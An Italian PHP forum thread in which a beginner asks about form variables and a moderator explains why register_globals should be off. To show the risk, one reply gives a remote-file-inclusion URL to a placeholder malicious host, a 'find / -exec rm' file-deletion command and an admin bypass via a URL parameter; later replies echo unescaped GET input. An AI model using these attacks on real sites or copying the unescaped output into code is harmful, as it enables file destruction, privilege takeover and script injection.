Un Evento Unico. 5 Sale. 27 Interventi. SEO, SOCIAL, E-Commerce, Mobile, Turismo.
CLICCA QUI e SCOPRI DI PIù X Chiudi
 
Forum GT: Condividiamo idee e conoscenza Forum GT: Condividiamo idee e conoscenza


Condividi questo contenuto nei Social Network:
Ti stiamo aspettando: Registrati subito e gratis. Entra a far parte di una delle comunità più attive in Italia. Se hai dimenticato i tuoi dati li puoi recuperare subito.


Vai indietro   Forum per Webmaster: Condividiamo Idee e Conoscenza > Sviluppo e Gestione siti web > Php - Mysql
Benvenuto! Forum Regole FAQ Lista utenti Calendario Segna come letti


Rispondi
 
LinkBack Strumenti di discussione
Vecchio 30-12-08, 16:51   #1 (permalink)
User
 
L'avatar di micheleska
 
Data di registrazione: Dec 2008
Ubicazione: Palermo, Italy
Messaggi: 81
Form in php, il passaggio delle variabili

Chiedo chiarimenti alla grande comunità di GT con la promessa di fare una degna presentazione in seguito.

Chiedo chiarimenti proprio qui perché leggendo la guida sui form in php ho confermato che il mio procedimento era giusto ma non funzionante.

Mi spiego in codice forse è meglio:

Codice:
<form action="sessionx.php" method="post" name="modulo"  enctype="multipart/form-data">
    Username: <input name="user" type="text" size="20" maxlength="50" id="user" /><br />
    Password: <input name="pass" type="password" size="20" maxlength="50" id="pass" /><br />
              <input type="submit" value="Log-in" name="submit" />
 </form>
e nella pagina sessionx.php

Codice:
<?php 
 echo ("user= ".$_POST["user"]." pass= ".$pass);
?>

<?
print var_dump($_POST);
?>
$pass non ha nessun valore, mentre con $_POST tutto funziona liscio.

perché? cosa succede?
micheleska non in linea   Rispondi citando
Vecchio 30-12-08, 17:09   #2 (permalink)
Moderatore
 
L'avatar di ilnetsurfer
 
Data di registrazione: Jun 2007
Ubicazione: Napoli
Messaggi: 535
Invia un messaggio tramite MSN a ilnetsurfer
Perchè se hai in php register_globals su off(cosa che consiglio vivamente), è normale che $pass non abbia nessun valore, e che quindi dovresti usare
$_POST['pass']

Quindi...

Codice PHP:
<?php 
echo ("user= ".$_POST['user']." pass= ".$_POST['pass']);
?>

<?
print var_dump($_POST);
?>
__________________
He knows not where he's going.For the ocean will decide.It's not the DESTINATION...It's the glory of the RIDE.
ilnetsurfer non in linea   Rispondi citando
Vecchio 30-12-08, 17:23   #3 (permalink)
User
 
L'avatar di micheleska
 
Data di registrazione: Dec 2008
Ubicazione: Palermo, Italy
Messaggi: 81
Lo trovo un tantinello più lungo, ma se mi spieghi perché è preferibile tenere register_globals su off vado avanti come mi consigli
micheleska non in linea   Rispondi citando
Vecchio 30-12-08, 18:14   #4 (permalink)
Moderatore
 
L'avatar di ilnetsurfer
 
Data di registrazione: Jun 2007
Ubicazione: Napoli
Messaggi: 535
Invia un messaggio tramite MSN a ilnetsurfer
register globals ti permette di usare una variabile già pronta con i parametri get e post..
un esempio con get(che sarebbe equivalente a post, solo che userai un form)
pagina.php?var=2
se register_globals è on, invece di usare $_POST['var'] come variabile superglobale, userai
$var come variabile superglobale
E quindi, se fai
echo $var ;
Ti compare 2...
Register_globals è sconsigliata perchè un hacker potrebbe inserire codice maligno a tua insaputa
Considera questo esempio(tratto dal mio libro di programmazione)
Codice PHP:
<?php
include $module.'.php';
?>
Se register globals è su on, un hacker potrebbe modificare l'url cosi:
lapaginaconinclude.php?module=http://www.esempio.com/script_malevolo
E cosi la tua pagina includerebbe http://www.esempio.com/script_malevolo.php
che puo contere chissà quale codice, ad esempio
Codice PHP:
<?php 'find /-exec rm"{}" ";"';?>
Che cancellerebbe tutti i file accessibili al server web.

Un altro esempio?
Codice PHP:
<?php
session_start
()
//$admin + una variabile di sessione impostata in precedenza
if(!$admin) {
do_foo();
}else{
do_admin_task();
}
?>
Se un hacker modificasse l'url così:
paginaconadmin.php?admin=true
Potrebbe entrare con i privilegi di amministratore...
Per questo è consigliabile non fidarsi mai dell'utente, impostare tutte le precauzioni necessarie e soprattutto tenere register_globals su off!
Tutto chiaro?
__________________
He knows not where he's going.For the ocean will decide.It's not the DESTINATION...It's the glory of the RIDE.
ilnetsurfer non in linea   Rispondi citando
Vecchio 30-12-08, 18:53   #5 (permalink)
User
 
L'avatar di micheleska
 
Data di registrazione: Dec 2008
Ubicazione: Palermo, Italy
Messaggi: 81
tutto chiaro, grazie
micheleska non in linea   Rispondi citando
Vecchio 31-12-08, 17:20   #6 (permalink)
User
 
L'avatar di micheleska
 
Data di registrazione: Dec 2008
Ubicazione: Palermo, Italy
Messaggi: 81
si sa che i dubbi e le difficoltà vengono con la pratica... ora come faccio a passare le variabili da una pagina all'altra tramite dei link?


questo ad esempio non funziona più, come si fa?
Codice:
nome = <?  echo $nome ?>

<br  /><br  />

<a href="prova.php?nome=michele">Michele</a>
micheleska non in linea   Rispondi citando
Vecchio 31-12-08, 17:37   #7 (permalink)
Moderatore
 
L'avatar di ilnetsurfer
 
Data di registrazione: Jun 2007
Ubicazione: Napoli
Messaggi: 535
Invia un messaggio tramite MSN a ilnetsurfer
Con l'array superglobale $_GET

Codice PHP:
nome = <?php echo $_GET['nome']; ?>

<br  /><br  />

<a href="prova.php?nome=michele">Michele</a>
Sinceramente, nei tuoi script ti consiglio di usare <?php al posto di <?, solamente per motivi di incompatibilità...

Inoltre, per essere più sbrigativi , potresti fare così:

Codice PHP:
<?php
$nome 
$_GET['nome']; 
?>
nome = <?php echo $nome?>

<br  /><br  />

<a href="prova.php?nome=michele">Michele</a>
Ola!
__________________
He knows not where he's going.For the ocean will decide.It's not the DESTINATION...It's the glory of the RIDE.
ilnetsurfer non in linea   Rispondi citando
Vecchio 02-01-09, 13:36   #8 (permalink)
User
 
L'avatar di micheleska
 
Data di registrazione: Dec 2008
Ubicazione: Palermo, Italy
Messaggi: 81
grazie dei consigli, uso già ?php, ma per l'esempio ho usato solo gli ? per fare prima.
micheleska non in linea   Rispondi citando
Rispondi
Tags: , , ,



Strumenti di discussione

Regole di scrittura
Non puoi postare nuove discussioni
Non puoi rispondere alle discussioni
Non puoi allegare file
Non puoi editare i tuoi post

BB code is Attivo
smilies è Attivo
[IMG] il codice è Attivo
Il codice HTML è Disattivato
Trackbacks are Attivo
Pingbacks are Attivo
Refbacks are Disattivato
Vai al forum



Tutti gli orari sono GMT +3. Attualmente sono le 13:03.




Forum GT - © 2004-2009 GT idea S.r.l P.iva 02418200800 - Privacy/Disclaimer

SEO by vBSEO 3.2.0 ©2008, Crawlability, Inc.